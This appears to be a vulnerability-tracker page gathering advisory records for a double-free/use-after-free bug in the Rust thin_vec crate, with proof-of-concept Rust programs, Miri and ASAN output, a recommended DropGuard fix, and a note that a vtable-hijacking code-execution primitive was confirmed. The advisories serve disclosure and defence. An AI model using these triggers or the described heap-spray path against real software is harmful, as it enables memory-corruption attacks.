Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 272/272 feeds/APIs · 469/469 docs · 8/9 advisories · checked 03:06 UTC Customize Public modeDiscuss ChangeIntel on Discord

Use-After-Free and Double-Free in IntoIter::drop when element drop panics

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-6654

Published

Double-Free / Use-After-Free (UAF) in the `IntoIter::drop` and `ThinVec::clear` functions in the thin_vec crate. A panic in `ptr::drop_in_place` skips setting the length to zero.

Source published
20 Apr 2026 10:05:52 UTC
Source modified
15 Jul 2026 00:41:16 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

euvd · EUVD-2026-23832

Published

Double-Free / Use-After-Free (UAF) in the `IntoIter::drop` and `ThinVec::clear` functions in the thin_vec crate. A panic in `ptr::drop_in_place` skips setting the length to zero.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 20, 2026, 10:05:52 AM

dateUpdated: Jul 15, 2026, 12:41:16 AM

Source published
Apr 20, 2026, 10:05:52 AM (timezone not stated)
Source modified
Jul 15, 2026, 12:41:16 AM (timezone not stated)
Observed here
28 Oct 2026 08:44:32 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.3 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

nvd · CVE-2026-6654

Published

Double-Free / Use-After-Free (UAF) in the `IntoIter::drop` and `ThinVec::clear` functions in the thin_vec crate. A panic in `ptr::drop_in_place` skips setting the length to zero.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-415 · CWE-416 · CWE-1341

Original publisher date fields

published: 2026-04-20T11:16:19.937

lastModified: 2026-10-26T21:10:00.170

1 source CPE criteria · context only
  • cpe:2.3:a:mozilla:thin-vec:0.2.15:*:*:*:*:rust:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
20 Apr 2026 11:16:19 UTC
Source modified
26 Oct 2026 21:10:00 UTC
Observed here
27 Oct 2026 15:46:32 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Primary · 5.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS 3.1 · 134c704f-9b21-4f2e-91b3-4a467353bcc0 · Secondary · 5.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.3 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

osv · GHSA-xphw-cqx3-667j

Published

### Summary A **Double Free / Use-After-Free (UAF)** vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no `unsafe` blocks required. Undefined Behavior has been confirmed via **Miri** and **AddressSanitizer (ASAN)**. --- ### Details Both vulnerabilities share the same root cause. When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF). #### Vulnerability 1 — `IntoIter::drop` **Location:** `thin-vec/src/lib.rs` L.2308~2314 `IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`. If a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements. The standard library's `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense. ```rust // Problematic structure (conceptual representation) impl<T> Drop for IntoIter<T> { fn drop(&mut self) { let mut vec = mem::replace(&mut self.vec, ThinVec::new()); unsafe { ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here vec.set_len_non_singleton(0); // ← unreachable on panic } // During unwinding, vec is dropped again → Double Free } } ``` #### Vulnerability 2 — `ThinVec::clear` `clear()` calls `ptr::drop_in_place(&mut self[..])` followed by `self.set_len(0)` to reset the length. If a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again. ```rust // Problematic structure (conceptual representation) pub fn clear(&mut self) { unsafe { ptr::drop_in_place(&mut self[..]); // ← panic may occur here self.set_len(0); // ← unreachable on panic } // ThinVec drop later → Double Free } ``` #### Recommended Fix Both vulnerabilities can be resolved with the same pattern: - **DropGuard pattern:** Insert an RAII guard before `drop_in_place` to guarantee `set_len(0)` is called regardless of panic - **Pre-zeroing approach:** Set the length to 0 before calling `drop_in_place` --- ### PoC **Requirements:** Rust nightly toolchain, `thin-vec = "0.2.14"` ```bash # Miri cargo +nightly miri run # ASAN RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release ``` #### PoC-1: `IntoIter::drop` ```rust use thin_vec::ThinVec; struct PanicBomb(String); impl Drop for PanicBomb { fn drop(&mut self) { if self.0 == "panic" { panic!("panic!"); } println!("Dropping: {}", self.0); } } fn main() { let mut v = ThinVec::new(); v.push(PanicBomb(String::from("normal1"))); v.push(PanicBomb(String::from("panic"))); // trigger element v.push(PanicBomb(String::from("normal2"))); let mut iter = v.into_iter(); iter.next(); // When iter is dropped: panic occurs at "panic" element // → During unwinding, Double Drop is triggered on "normal1" (already freed) } ``` **Miri output:** ``` error: Undefined Behavior: pointer not dereferenceable: alloc227 has been freed, so this pointer is dangling stack backtrace: 3: <PanicBomb as Drop>::drop ← Double Drop entry 6: <ThinVec<T> as Drop>::drop::drop_non_singleton 9: <IntoIter<T> as Drop>::drop::drop_non_singleton ← lib.rs:2310 (root cause) ``` **ASAN output:** ``` ==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010 READ of size 7 at 0x7afa685e0010 #0 memcpy #4 drop_in_place::<PanicBomb> ← Double Drop entry point #5 <ThinVec as Drop>::drop::drop_non_singleton #6 <IntoIter as Drop>::drop::drop_non_singleton ``` #### PoC-2: `ThinVec::clear` ```rust use thin_vec::ThinVec; use std::panic; struct Poison(Box<usize>, &'static str); impl Drop for Poison { fn drop(&mut self) { if self.1 == "panic" { panic!("panic!"); } println!("Dropping: {}", self.0); } } fn main() { let mut v = ThinVec::new(); v.push(Poison(Box::new(1), "normal1")); // index 0 v.push(Poison(Box::new(2), "panic")); // index 1 → panic triggered here v.push(Poison(Box::new(3), "normal2")); // index 2 let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| { v.clear(); // panic occurs at "panic" element during clear() // → set_len(0) is never called // → already-freed elements are re-freed when v goes out of scope })); } ``` --- ### Impact **Vulnerability classification:** - CWE-415: Double Free - CWE-416: Use-After-Free **Affected code:** All code satisfying the following conditions simultaneously: 1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.) 2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or (Vulnerability 2) `clear()` is called while a remaining element's `Drop` implementation can panic 3. The `Drop` implementation of a remaining element triggers a panic Additionally, when combined with `Box<dyn Trait>` types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Source published
15 Apr 2026 19:24:54 UTC
Source modified
10 Sep 2026 03:50:44 UTC
Observed here
24 Oct 2026 13:19:54 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Publisher rating · HIGH

osv · RUSTSEC-2026-0103

Published

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin-vec` crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code - no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN). ## Details When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF). ### Vulnerability 1 - `IntoIter::drop` `IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`. If a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements. The standard library's `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense. ### PoC ```rust use thin_vec::ThinVec; struct PanicBomb(String); impl Drop for PanicBomb { fn drop(&mut self) { if self.0 == "panic" { panic!("panic!"); } println!("Dropping: {}", self.0); } } fn main() { let mut v = ThinVec::new(); v.push(PanicBomb(String::from("normal1"))); v.push(PanicBomb(String::from("panic"))); // trigger element v.push(PanicBomb(String::from("normal2"))); let mut iter = v.into_iter(); iter.next(); // When iter is dropped: panic occurs at "panic" element // → During unwinding, Double Drop is triggered on "normal1" (already freed) } ``` ### Vulnerability 2 - `ThinVec::clear` `clear()` calls `ptr::drop_in_place(&mut self[..])` followed by `self.set_len(0)` to reset the length. If a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again. ### PoC ```rust use thin_vec::ThinVec; use std::panic; struct Poison(Box<usize>, &'static str); impl Drop for Poison { fn drop(&mut self) { if self.1 == "panic" { panic!("panic!"); } println!("Dropping: {}", self.0); } } fn main() { let mut v = ThinVec::new(); v.push(Poison(Box::new(1), "normal1")); // index 0 v.push(Poison(Box::new(2), "panic")); // index 1 → panic triggered here v.push(Poison(Box::new(3), "normal2")); // index 2 let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| { v.clear(); // panic occurs at "panic" element during clear() // → set_len(0) is never called // → already-freed elements are re-freed when v goes out of scope })); } ``` ## Prerequisites 1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.) 2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or (Vulnerability 2) `clear()` is called while a remaining element's `Drop` implementation can panic 3. The `Drop` implementation of a remaining element triggers a panic When combined with `Box<dyn Trait> types`, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Source published
14 Apr 2026 12:00:00 UTC
Source modified
12 Oct 2026 18:00:08 UTC
Observed here
24 Oct 2026 13:19:54 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 30 Oct 03:06 UTC · 272 of 272 readable · 271 fully read · documentation 469/469 current